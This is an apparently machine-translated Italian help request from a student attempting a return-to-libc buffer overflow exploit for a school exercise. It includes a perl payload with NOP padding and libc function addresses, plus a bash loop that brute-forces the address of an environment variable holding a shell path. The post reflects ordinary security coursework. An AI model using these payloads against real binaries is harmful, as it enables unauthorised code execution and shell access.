Per la scuola dobbiamo eseguire un exploit return-to-libc. In questo modo, dobbiamo generare una shell da / bin / xh che stamperà un messaggio che ci è riuscito con il nostro exploit.
Per fare questo exploit, ho usato questo script per entrare
$(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x25\xf9\xff\xbf"')
\ x25 \ xf9 \ xff \ xbf punta a una variabile d'ambiente che ho inserito io stesso usando il comando "export", la stringa SHELLMINE = / bin / xh per essere esatta. L'uso della stringa della normale shell bash non è utile in quanto non mi porterà nella shell che stampa il testo della successione. Naturalmente, sono consapevole che gli indirizzi delle variabili cambiano di volta in volta, quindi la parte "\ x25" viene modificata quando necessario.
Questo script funziona quando viene utilizzato direttamente nel terminale.
Ora il problema è che non funzionerà se usato da uno script bash. Questo perché le variabili di ambiente che vengono utilizzate durante l'esecuzione dello script si trovano in una posizione diversa. Ho provato ad usare un debugger che viene eseguito dallo script e cercando l'indirizzo lì ma con l'indirizzo trovato non funziona neanche
Questo è il codice che ho ricevuto
for i in 'seq 192 239';
do
number=$(printf "%02x" "$i");
export SHELLMINE=/bin/xh
echo "$number"
echo "'print \x90 x (789) . \x60\xb0\xe6\xb7 . \xe0\xeb\xe5\xb7 . \x$number\xf8\xff\xbf '"
$lev $(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x'"$number"'\xf8\xff\xbf" ')
done
Fondamentalmente ciò di cui ho bisogno è un modo per ottenere l'indirizzo della variabile d'ambiente o un modo migliore per inserire la stringa da utilizzare nell'exploit.